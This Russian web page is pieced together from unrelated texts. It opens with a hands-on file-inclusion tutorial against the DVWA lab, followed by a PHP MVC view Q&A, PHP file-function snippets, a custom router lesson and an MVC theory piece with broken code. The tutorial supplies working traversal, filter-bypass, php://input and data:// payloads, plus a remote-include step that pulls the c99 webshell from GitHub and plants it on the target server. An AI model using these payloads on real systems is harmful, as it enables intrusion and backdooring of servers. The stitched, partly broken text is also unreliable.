Передача данных с контроллера на View в приложении PHP MVC. Локальное и удалённое внедрение файлов: эксплуатация уязвимости и обход фильтров Вымышленный view php file

Иногда внедрение файлов называют инклудом, иногда рассматривают как часть PHP инъекции (инъекция кода). Последнее не совсем верно, поскольку уязвимость внедрение файлов не обязательно связана с выполнением кода.

Уязвимость может возникнуть при использовании (в PHP) таких выражений как:

  • require_once,
  • include_once,
  • include,
  • require,

У каждого из них есть небольшие нюансы, но общее у них то, что они включают в программу файл и выполняют его. Проблему эти выражения могут вызвать в том случае, если в них передаётся пользовательский ввод, а программа недостаточно его отфильтровывает.

Кстати, да, это именно выражения, а не функции. Необзятельно писать так:

Require("somefile.php");

Более предпочтительным является такой вариант:

Require "somefile.php";

Но это отступление, которое не имеет никакого отношения к уязвимости.

Если инклуд файлов осуществляется выражениями require_once, include_once, include, require, то можно сказать, что в это же время имеет место и инъекция кода. Тем не менее, возможен инклуд файлов без выполнения кода на сервере. Например, веб-сайт меняет внешний вид исходя из выбранной пользователем темы. Название тем соответствует названию HTML файлов, которые считываются на сервере. В данной ситуации если запрос сформирован так, чтобы осуществить считывание файла, который для этого не предназначен (например, файл PHP), то вместо выполнения команд, будет выведен исходный код PHP.

Пользователь может указать в качестве файла для инклуда удалённый или локальный файл. На основании этого выделают две соответствующие разновидности:

  • локальное внедрение файлов
  • удалённое внедрение файлов

Опасность удалённого инклуда заключается в выполнении произвольного кода на уязвимом сервере. Обычно это используется для заражения бэкдором.

Опасность локального внедрения файлов заключается в том, что пользователь может вывести содержание файлов, на просмотр которых у него нет прав (исходные коды программ, системные файлы с настройками и паролями). Также при локальном инклуде возможно выполнение стороннего кода (например, для заражения бэкдором), если файл со злонамеренным кодом был предварительно загружен на сервер, либо использовался метод отравления логов, либо некоторые другие методы.

Локальный инклуд файлов является не менее опасным, чем внедрение удалённых файлов.

Эксплуатация локального внедрения файлов

Попробовать свои силы на этой уязвимости можно в Damn Vulnerable Web Application (DVWA) . Я использую Web Security Dojo , где DVWA уже установлен.

Начнём с низкого уровня (low DVWA Security ).

Перейдём на страницу File Inclusion http://localhost/dvwa/vulnerabilities/fi/?page=include.php

  • http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file3.php

Если в качестве аргумента переменной передаётся значение, похожее на имя файла (file1.php, file2.php), то можно предположить, что используется инклуд. Поскольку расширение файла .php , то вероятнее всего файл исполняется на сервере (т.е. возможно выполнить внедрение кода), а не просто выводится для показа.

В DVWA есть страничка http://localhost/dvwa/about.php, она расположена на два уровня вверх, попробуем просмотреть её таким образом: http://localhost/dvwa/vulnerabilities/fi/?page=../../about.php

Да, уязвимость локальный инклуд присутствует. При вводе не фильтруются переходы в верхние директории (../ ), список файлов для инклуда не является исчерпывающим (вместо предлагаемых file*.php мы выбрали about.php).

Иногда используются инклуд файлов, но адреса могут выглядеть, например, так http://localhost/dvwa/vulnerabilities/fi/?page=file1. В этом случае в скрипте может добавляется расширение и скрипт внедряет файл, название которого окончательно сформировано в скрипте. Как правило, уязвимость в таком виде трудно/невозможно эксплуатировать.

Часто в качестве примера эксплуатации локального инклуда файлов любят приводить что-то вроде такого:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd

Как видим, это сработало. Но поскольку веб-браузеры игнорируют /r/n (символы новой строки), то нам нужно открыть исходный код, чтобы записи стали читаемыми:

К сожалению, никаких паролей в файле /etc/passwd уже давно нет.

С сервера можно стянуть разные файлы настроек, SSL-сертификаты, в принципе, любой файл, который открыт для чтения всем пользователям или на чтения которого у веб-сервера достаточно прав:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf

Что касается общих хостингов, то иногда удаётся заглянуть в чужие папки (опять же, при неправильной настройке прав пользователей).

http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db

Задача усложняется тем, что нам нужно знать путь до файла.

Эксплуатация удалённого внедрения файлов

PHP очень гибкий и дружественный для разработчиков язык программирования. Команды внедрения (инклуда) файлов и некоторые другие прекрасно распознают и правильн6о обрабатывают не только локальные файлы, но и URL…

Попробуем вместо имени файла записать URL сайта https://сайт/:

http://localhost/dvwa/vulnerabilities/fi/?page=https://сайт/

Посмотрите, как интересно получается:

Произошло следующее, PHP интерпретатор получил команду сделать инклуд файла/сайта https://сайт/. Он открыл/загрузил соответствующий адрес и отправил полученный код на выполнение в качестве PHP программы. Поскольку PHP выполняет только код, окружённый соответствующими тегами (в данном случае кода вообще не было), а всё остальное выводит как есть, то вся страница веб-сайта выведена как есть.

Конечно эта уязвимость интересна нам не тем, что мы через один сайт можем просматривать другие сайты.

  1. Генерируем / находим исходный код бэкдора
  2. Создаём правильный с точки зрения PHP файл для выполнения на сервере, который сохраняет исходный код бэкдора в PHP файл
  3. Сохраняем полученный код в ТЕКСТОВЫЙ файл
  4. Загружаем этот текстовый файл на подконтрольный сервер
  5. На уязвимом сервере с помощью удалённого инклуда файлов сохраняем наш бэкдор

Я выделил слово «текстовый» по той причине, что на подконтрольном нам сервере должен быть именно текстовый файл, который не должен исполнятся на нашем сервере. Наш сервер должен только показать его содержимое.

Для создания бэкдора можно воспользоваться Weevely , PhpSploit , а можно взять готовые решения. Давайте в этот раз воспользуемся готовым .

Я присвою переменной $backdoor исходный код бэкдора, который скачаю с гитхаба. Затем использую функцию file_put_contents для сохранения полученного исходного кода в файл c99unlimited.php.

Код, который я разместил в текстовом файле

$backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); echo "done!";

Он доступен по адресу http://miloserdov.org/sec.txt

Теперь, используя удалённый инклуд, мы загружаем бэкдор на уязвимый сервер.

http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt

Обратите внимание на надпись done!, она выведена скриптом, т.е. вероятно всё получилось.

Поскольку скрипт, который делает инклуд файлов размещён в каталоге http://localhost/dvwa/vulnerabilities/fi/, а наш новый файл с бэкдором должен был сохраниться с именем c99unlimited.php, то полный адрес бэкдора на уязвимом сервере должен быть: http://localhost/dvwa/vulnerabilities/fi/c99unlimited.php

Проверяем:

Отлично, теперь у нас есть все функции, которые только могут понадобиться администратору веб-сервера… и тем, кто имеет доступ к его серверу.

Обход фильтрации при локальном инклуде файлов

Перейдём на средний уровень (medium ) безопасности (настраивается в DVWA Security ).

Если мы заглянем в исходный код (кнопка View Source ):

то мы увидим, что теперь символы ../ фильтруются. Это не даст нам перейти на каталоге выше того, в которой работает уязвимый скрипт.

Т.е. так уже ничего не получится:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf

Давайте подумаем, как работает фильтрация в этом случае? Допустим, фильтруется слово «плохо », тогда строка вида

хорошо плохо хорошо

после фильтрации будет такой:

хорошо хорошо

А если вставить такую строку

пло плохо хо

то после фильтрации (будет удалено «плохо ») получится

плохо

В ../ мы вставляем посередине ещё раз ../ , получается …/./

Пробуем такой адрес http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql/my.cnf

Сработало!

Ещё одним вариантом обхода может быть кодировка символов в шестнадцатеричную кодировку, пример такой строки:

http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

«../» может заменяться на «%2E%2E%2f».

Также практикуется двойное кодирование в шестнадцатеричную кодировку, при котором «../» заменяется на «%252E%252E%252F»

Локальный инклуд файлов при добавлении расширения в скрипте

Если код с инклудом файлов имеет вид:

Т.е. к любому пользовательскому вводу добавляется расширение.php или какое-то другое, то это не позволяет сформировать запрос таким образом, чтобы произвести атаку.

Имеются несколько техник, которые предназначены для отбрасывания расширения, но их можно считать устаревшими, поскольку они работают на PHP 5.3, да и то не всех версий. Тем не менее, администраторы веб-серверов клинически консервативны и предпочитают ничего не трогать, если оно работает. Т.е. шанс встретить сервер с очень древней версией PHP есть, и об этих методиках следует знать.

Использование нулевого байта %00 (null byte)

В конце запроса для игнорирования расширения добавляется нулевой байт:

http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00

Второй метод называется атака обрезкой пути. Суть в том, что PHP обрезает пути длиннее 4096 байт. При этом PHP правильно открывает файл, даже если на конце его имени имеются слеши и точки. Если в качестве параметра передать что-то вроде?param1=../../../../etc/passwd/./././././<…> (где./ повторяется много тысяч раз), то конец файла вместе с расширением (которое прибавил скрипт, в результате чего имя файла стало includes/../../../../etc/passwd/./././././<…>.php) будет отброшено. И в качестве имени файла получится includes/../../../../etc/passwd/./././././<…>. А поскольку PHP не смущают конечные слеши и./ на конце файла, он их просто игнорирует, то в общей сложности PHP откроет файл по пути includes/../../../../etc/passwd.

Обход фильтрации при удалённом внедрении файлов

Как мы уже видели в исходном коде, на среднем уровне безопасности также отфильтровываются http:// и https://.

Теперь http://localhost/dvwa/vulnerabilities/fi/?. Мы воспользуемся в точности тем же приёмом, что и для обхода фильтрации при локальном инклуде. Сформированный запрос:

http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://сайт/

И ещё обратите внимание, что не фильтруется, например ftp , т.е. такой вариант сработал бы вообще без всяких ухищрений:

http://localhost/dvwa/vulnerabilities/fi/?page=ftp://сайт/

Получение исходного кода PHP скриптов при инклуде файлов с php://filter

Для этого трюка не требуется удалённый инклуд файлов. Будет использоваться своего рода мета-обёртка php://filter .

Допустим, мы хотим увидеть исходный код файла file1.php, тогда для нашей ситуации запрос будет составлен так:

http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

Обратите внимания на бессмысленную строчку из букв и цифр - это исходный код файла file1.php в кодировке base64. Поскольку это base64, то поддерживаются и бинарные файлы.

Раскодируем файл:

Удалённое выполнение кода с php://input

Это не похоже на внедрение файлов и для этого опять не требуется загружать файлы.

Для помощи я воспользуюсь расширением FireFox , вы также можете использовать его или любую другую программу (например, curl) умеющую передавать данные методом POST.

php://input имеет доступ к сырому телу HTTP запроса, чтобы понять, что include("php://input") делает, откройте страницу

http://localhost/dvwa/vulnerabilities/fi/?page=php://input

А в теле запроса отправьте правильный PHP код (например, с помощью метода POST). Это позволит вам выполнить любую разрешённую на удалённом сервере функцию!

Удалённое выполнение кода с data://

Кроме этого, PHP поддерживает URL-схему data:// Вы можете разместить код прямо в параметре GET! Следующий тест не требует каких-либо специальных инструментов, просто обычный браузер для выполнения атаки.

http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,

Некоторые файерволы веб-приложений могут заметить подозрительную строку в URL и заблокировать злой запрос. Но есть способ зашифровать строку как минимум в base64 кодировку:

http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

Выполнение произвольных команд с /proc/self/environ

/proc/self/environ - это хранилище переменных процесса. Если у процесса Apache достаточно прав для доступа к нему, то при открытии веб-страницы, на которой присутствует инклуд с подобным URL,

www.website.com/view.php?page=../../../../../proc/self/environ

выведет что-то вроде

DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x [email protected] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

Обратите внимание на HTTP_USER_AGENT . Вместо него можно подставить правильный PHP код, который будет выполнен на удалённом сервере.

Травление и внедрение логов при локальном инклуде файлов

К сожалению, на последних версиях Apache этот метод больше не работает.

Его суть заключается в том, что в логи веб-сервера внедряется код атакующего. Это можно сделать путём подмены User-Agent , либо даже просто передачей в GET параметре.

Статичное внедрение удалённого файла

Пример статичного инклуда:

Эксплуатировать статичный инклуд можно в очень экзотичных ситуациях. Для внедрения злонамеренного кода необходимо осуществить атаку человек-посередине между двумя серверами: один из которых хостит веб-приложение, использующим инклуд, а второй хостит файл, используемый для инклуда.

Почти во всех учебниках или ответах на SO я вижу общий способ отправки данных с контроллера на представление, класс View часто выглядит примерно так же, как и код ниже:

Class View { protected $_file; protected $_data = array(); public function __construct($file) { $this->_file = $file; } public function set($key, $value) { $this->_data[$key] = $value; } public function get($key) { return $this->_data[$key]; } public function output() { if (!file_exists($this->_file)) { throw new Exception("Template " . $this->_file . " doesn"t exist."); } extract($this->_data); ob_start(); include($this->_file); $output = ob_get_contents(); ob_end_clean(); echo $output; } }

Я не понимаю, почему мне нужно поместить данные в массив, а затем вызвать extract ($ this -> _ data). Почему бы просто не поместить прямо какие-либо свойства в представление с контроллера, как

$this->_view->title = "hello world";

то в моем макете или файле шаблона я мог бы просто сделать:

Echo $this->title;

Логично логически группировать данные вида и отличать его от свойств класса внутреннего вида.

PHP позволит вам динамически назначать свойства, чтобы вы могли просто создать экземпляр класса View и присвоить свои данные в виде свойств. Лично я бы не рекомендовал этого. Что делать, если вы хотите перебирать данные просмотра или просто просто выгружать их для отладки?

Сохранение данных вида в массиве или содержащий объект dosn"t означает, что вам нужно использовать $this->get("x") для доступа к нему. Опция заключается в использовании перегрузки свойств PHP5, которая позволит вам хранить данные в виде массива, но иметь интерфейс $this->x с данными из шаблона.

Class View { protected $_data = array(); ... ... public function __get($name) { if (array_key_exists($name, $this->_data)) { return $this->_data[$name]; } } }

Метод __get() будет вызываться, если вы попытаетесь получить доступ к свойству, которое не существует. Итак, теперь вы можете:

$view = new View("home.php"); $view->set("title", "Stackoverflow");

В шаблоне:

<?php echo $this->title; ?>

Я предполагаю, что причиной может быть просто «меньше набрав», но у него есть хорошие побочные эффекты:

  • Помогает, когда те, кто пишет шаблоны, не знакомы с php, и таким образом им не нужно беспокоиться о том, «что может означать этот $this-> ? ».
  • Наличие отдельного контейнера для переменных также помогает, когда есть некоторые свойства представления, которые должны быть приватными для этого класса, и библиотекаторы не хотят подвергать их шаблонам
  • Предотвращает конфликты имен с собственными свойствами представления и переменными для шаблонов.
  • Гораздо быстрее, чем схемы доступа на основе методов. Не может быть актуальным сейчас, как это было, когда, например, был создан smarty (также работал с php4).

PHP

file_exists("test.txt")//Существует ли файл? filesize("test.txt");//Узнаем размер файла //Возвращается временная метка: fileatime("test.txt");//Дата последнего обращения к файлу //date("d M Y", $atime); filemtime("test.txt");//Дата изменения файла //date("d M Y", $mtime); filectime("test.txt");//Дата создания файла(Windows) //date("d M Y", $ctime);

Файлы: режимы работы

PHP

resource fopen (string filename, string mode) // resource - возвращает указатель на файл в случае успешной работы, или FALSE в случае ошибки
Режим работы Описание
r открыть файл только для чтения;
r+ открыть файл для чтения и записи;
w открыть файл только для записи. Если он существует, то текущее содержимое файла уничтожается. Текущая позиция устанавливается в начало;
w+ открыть файл для чтения и для записи. Если он существует, то текущее содержимое файла уничтожается. Текущая позиция устанавливается в начало;
а открыть файл для записи. Текущая позиция устанавливается в конец файла;
а+ открыть файл для чтения и записи. Текущая позиция устанавливается в конец файла;
b обрабатывать бинарный файл. Этот флаг необходим при работе с бинарными файлами в ОС Windows.

Открытие и закрытие файлов в PHP

PHP

$fi = fopen("test.html", "w+") or die("Ошибка"); //Примеры $fi = fopen("http://www.you/test.html","r"); $fi = fopen("http://ftp.you/test.html", "r"); //Закрываем fclose($fi)

Чтение файлов в PHP

PHP

//Читаем файл fread(int fi, int length) $str = fread($fi, 5); // Читаем первые 5 символов echo $str; // так как курсор передвинулся $str = fread($fi, 12); // Читаем следующие 12 символов echo $str; fgets(int fi[, int length]) // Прочитать строку из файла fgetss(int fi, int length [, string allowable]) // Прочитать строку из файла и отбросить HTML-теги // string allowable - теги, которые необходимо оставить fgetc(int fi) //Считывает символ из файла

Изначально Запись будет происходить в начало файла, путем перезаписывания существующих данных, если они есть. Поэтому, если вам нужно записать что-то в конец файла, нужно установить соответствующий режим чтения , например, a+ .

Манипуляции с курсором в файлах PHP

PHP

int fseek(int fi, int offset [, int whence]) //Установка курсора // int fi - указатель на файл //offset - количество символов, на которые нужно передвинуться. //whence: //SEEK_SET - движение начинается с начала файла; //SEEK_CUR - движение идет от текущей позиции; //SEEK_END - движение идет от конца файла. fseek($fi, -10, SEEK_END); //Читаем последние 10 знаков $s = fread($fi, 10); $pos = ftell($fi); //Узнаем текущую позицию rewind($f)//сброс курсора bool feof($f) //конец файла

Прямая работа с файлами (данными) в PHP

PHP

array file(string filename) // Получаем содержимое файла в виде массива //Еще один вариант прямой работы с данными file_get_contents(string filename) //Чтение (получаем весь файл одной строкой) //Запись в файл (изначально перезаписывается) file_put_contents(string filename, mixed data[,int flag]); //FILE_APPEND // Запись в конец файла: file_put_contents("test.txt", "данные", FILE_APPEND); //Если записать массив, $array = array("I", "live"); file_put_contents("test.txt",$array); //то получим "Ilive"

Управление файлами в php

PHP

copy(string source, string destination); // Копирование файла rename(str oldname, str newname); // Переименование файла unlink(string filename); // Удаление файла

Загрузка файлов на сервер PHP

//Настрoйки PHP.ini file_uploads (on|off) // разрешаем.запрещаем загрузку файлов upload_tmp_dir // временная папка для загружаемых файлов. по умолчания временная папка upload_max_filesize (default = 2 Mb) // макс. размер загружаемого файла post_max_size // общий размер посылаемый формы (должен быть больше upload_max_filesize) //Простая загрузка

HTML

Работаем с файлами на сервере

PHP

//Принимаем данные $tmp = $_FILES["userfile"]["tmp_name"]; $name = $_FILES["userfile"]["name"]; //Перемещаем файл move_uploaded_file($tmp, name); move_uploaded_file($tmp, "upload/".name); // перенаправляем файл в папку upload // относительно текущего файла //Что в массиве $_FILES $_FILES["userfile"]["name"] // имя файла, например, test.html $_FILES["userfile"]["tmp_name"] // временное имя файла (путь) $_FILES["userfile"]["size"] // размер файла $_FILES["userfile"]["type"] // тип файла $_FILES["userfile"]["error"] // 0 - ошибок нет, число - есть

Из паттернов меня устраивало mvc, registry. Для запросов я написал небольшой слой абстракции, для роутинга — свою функцию парсинга запроса.
Структура веб-приложения будет такой

Папка application

Входной файл index.php подключает bootstrap.php. Тот в свою очередь подключает ядро, конфиг-файл, некоторые библиотеки и запускает маршрутизатор.

Use Core\Route; require_once "lib/registry.php"; require_once "config.php"; require_once "lib/datebase.php"; require_once "core/model.php"; require_once "core/view.php"; require_once "core/controller.php"; require_once "core/route.php"; $router = new Route(); $router->start(); // запускаем маршрутизатор

Реестр устроен просто:

Namespace Lib; class Lib_Registry { static private $data = array(); static public function set($key, $value) { self::$data[$key] = $value; } static public function get($key) { return isset(self::$data[$key]) ? self::$data[$key] : null; } static public function remove($key) { if (isset(self::$data[$key])) { unset(self::$data[$key]); } } }

Здесь геттеры и сеттеры для сохранения глобальных значений.

Use Lib\Lib_Registry; define("PATH_SITE", $_SERVER["DOCUMENT_ROOT"]); define("HOST", "localhost"); define("USER", "root"); define("PASSWORD", "mypass"); define("NAME_BD", "articles"); define ("DS", DIRECTORY_SEPARATOR); $mysqli = new mysqli(HOST, USER, PASSWORD,NAME_BD)or die("Невозможно установить соединение c базой данных".$mysqli->connect_errno()); Lib_Registry::set("mysqli",$mysqli); $mysqli->query("SET names "utf8""); //база устанавливаем кодировку данных в базе

Запрос вида http://domen.ru/articles/index преобразуется в Контролллер — Экшн. Название контролллера и экшна задается в стиле Zend framework, camel case — Controller_Name , function action_name (). Файл контролллера, модели, въюхи должен совпадать с названием контроллера в нижнем регистре без префикса Controller_ или Model_

Класс модели задается так же — Model_Name , файл вьюхи мы уже выяснили — по имени экшна или явно в методе generate(name )

Так как в перспективе у нас создание админки — создадим папки client и admin . Кстати наш маршрутизатор будет учитывать вложенные папки, т.е. можно будет создать подпапки в контроллерах (напр. /about/contacts/contacts.php ) и обратиться к нему по его пути /about/contacts/
Итак, мы запустили маршрутизатор

/** * */ public function start() { // catch AJAX request if ($this->getIsAjaxRequest()) { } session_start(); $this->dispatch(); } /** * */ public function dispatch(){ // диспетчер получает файл совпадающий с названием контроллера, экшн и аргументы $this->getDirections($file, $controller, $action, $args); /* ************* include Controller - Model */ if (is_readable($file) == false) { die ("File $file 404 Not Found"); } // подключили контроллер include ($file); $model = str_replace("controller", "model", $file); // Model additional if(is_readable($model)){ // подключаем модель include($model); } /* ****** получаем класс ** */ $controller = ucfirst($controller); $class = ucfirst($this->namespace)."\Controller_" . $controller; // создаем экземпляр $controller = new $class($this->controller_path_folder); if (is_callable(array($controller, $action)) == false) { die ("Action $action 404 Not Found"); } // вызываем экшн $controller->$action($args); }

Диспетчер вызывает метод getDirections(), т.е. получить директивы запроса. По умолчанию дефолтный контроллер — articles, экшн — index.

/** * @param $file * @param $controller * @param $action * @param $args */ private function getDirections(&$file, &$controller, &$action, &$args) { $route = (empty($_SERVER["REQUEST_URI"])) ? "" : $_SERVER["REQUEST_URI"]; unset($_SERVER["REQUEST_URI"]); $route = trim($route, "/\\"); $controller_path = $this->path; if (empty($route)) { /* ******************* Default directions ******** */ $controller = "articles"; $action = "action_index"; $controller_path = $this->controller_path_folder = "application/controllers/$this->namespace/"; $file = $controller_path.$controller.".php"; } else { $parts = explode("/", $route); /* ************** namespace ********** */ if($parts == "admin") { $this->namespace = "admin"; array_shift($parts); } /* ***************** folders & subfolders ******* */ $fullpath = $this->controller_path_folder = $controller_path . $this->namespace; foreach ($parts as $part) { $fullpath .= DS . $part; if (is_dir($fullpath)) { array_shift($parts); continue; } if (is_file($fullpath . ".php")) { array_shift($parts); $file = "$fullpath.php"; break; } } /* *************** Controller, Action, Params ******** */ if(!isset($part)) $part = "articles"; $controller = $part; if(!$file) $file = $fullpath."/$part.php"; $action = array_shift($parts); if(!$action) $action = "action_index"; else $action = "action_$action"; $args = $parts; } }

В следующем уроке рассмотрим создание базовых контроллера, моделей и вьюх, напишем запросы.

Файлы 1-го урока здесь

https://github.com/vaajnur/create_php_application
Ветка мастер будет 1-м уроков, далее для каждого урока одноименная ветка — lesson1, lesson2, 3..

12.1K

Шаблон проектирования Модель-Представление-Контроллер (MVC) — это шаблон программной архитектуры, построенный на основе сохранения представления данных отдельно от методов, которые взаимодействуют с данными.

Не смотря на то, что схема MVC была первоначально разработана для персональных компьютеров, она была адаптирована и широко используется веб-разработчиками из-за точного разграничения задач и возможности повторного использования кода. Схема стимулирует развитие модульных систем, что позволяет разработчикам быстро обновлять, добавлять или удалять функционал.

В этой статье я опишу основные принципы, а также рассмотрю определение схемы построения и простой MVC PHP пример.

Что такое MVC

Название шаблона проектирования определяется тремя его основными составляющими частями: Модель, Представление и Контроллер. Визуальное представление шаблона MVC выглядит, как показано на приведенной ниже диаграмме :


На рисунке показана структура одностороннего потока данных и пути его следования между различными компонентами, а также их взаимодействие.

Модель

Моделью называют постоянное хранилище данных, используемых во всей структуре. Она должна обеспечивать доступ к данным для их просмотра, отбора или записи. В общей структуре «Модель » является мостом между компонентами «Представление » и «Контроллер ».

При этом «Модель » не имеет никакой связи или информации о том, что происходит с данными, когда они передаются компонентам «Представление » или «Контроллер ». Единственная задача «Модели » — обработка данных в постоянном хранилище, поиск и подготовка данных, передаваемых другим составляющим MVC .

«Модель » должна выступать в качестве «привратника », стоящего возле хранилища данных и не задающего вопросов, но принимающего все поступающие запросы. Зачастую это наиболее сложная часть системы MVC . Компонент «Модель » — это вершина всей структуры, так как без нее невозможна связь между «Контроллером » и «Представлением ».

Представление

Представление — это часть системы, в которой данным, запрашиваемым у «Модели », задается окончательный вид их вывода. В веб-приложениях, созданных на основе MVC , «Представление » — это компонент, в котором генерируется и отображается HTML -код.

Представление также перехватывает действие пользователя, которое затем передается «Контроллеру ». Характерным примером этого является кнопка, генерируемая «Представлением ». Когда пользователь нажимает ее, запускается действие в «Контроллере».

Существует несколько распространенных заблуждений относительно компонента «Представление ». Например, многие ошибочно полагают, что «Представление » не имеет никакой связи с «Моделью », а все отображаемые данные передаются от «Контроллера ». В действительности такая схема потока данных не учитывает теорию, лежащую в основе MVC архитектуры. В своей статье Фабио Чеваско описывает этот некорректный подход на примере одного из нетрадиционных MVC PHP фреймворков:

«Чтобы правильно применять архитектуру MVC, между «Моделью» и «Представлением» не должно быть никакого взаимодействия: вся логика обрабатывается «Контроллером».

Кроме этого определение «Представления » как файла шаблона также является неточным. Но это не вина одного человека, а результат множества ошибок различных разработчиков, которые приводят общему заблуждению. После чего они неправильно объясняют это другим. На самом деле «Представление » это намного больше, чем просто шаблон. Но современные MVC -ориентированные фреймворки до такой степени впитали этот подход, что никто уже не заботится о том, поддерживается ли верная структура MVC или нет.

Компоненту «Представление » никогда не передаются данные непосредственно «Контроллером ». Между «Представлением » и «Контроллером » нет прямой связи — они соединяются с помощью «Модели ».

Контроллер

Его задача заключается в обработке данных, которые пользователь вводит и обновлении «Модели ». Это единственная часть схемы, для которой необходимо взаимодействие пользователя.

«Контроллер » можно определить, как сборщик информации, которая затем передается в «Модель » с последующей организацией для хранения. Он не содержит никакой другой логики, кроме необходимости собрать входящие данные. «Контроллер » также подключается только к одному «Представлению » и одной «Модели ». Это создает систему с односторонним потоком данных с одним входом и одним выходом в точках обмена данными.

«Контроллер » получает задачи на выполнение только когда пользователь взаимодействует с «Представлением », и каждая функция зависит от взаимодействия пользователя с «Представлением ». Наиболее распространенная ошибка разработчиков заключается в том, что они путают «Контроллер » со шлюзом, поэтому присваивают ему функции и задачи, которые относятся к «Представлению ».

Также распространенной ошибкой является наделение «Контроллера » функциями, которые отвечают только за обработку и передачу данных из «Модели » в «Представление ». Но согласно структуре MVC паттерна это взаимодействие должно осуществляться между «Моделью » и «Представлением ».

MVC в PHP

Напишем на PHP веб-приложение, архитектура которого основана MVC . Давайте начнем с примера каркаса:

string = "MVC + PHP = Awesome!"; } } controller = $controller; $this->model = $model; } public function output(){ return "

" . $this->model->string . "

"; } } model = $model; } }

У нас есть проект с несколькими основными классами для каждой части шаблона. Теперь нужно настроить взаимосвязь между ними:

output();

В приведенном выше примере PHP MVC нет никакого специфического функционала для контроллера, потому что в приложении не определены взаимодействия пользователя. Представление содержит весь функционал, так как наш пример предназначен лишь для демонстрации.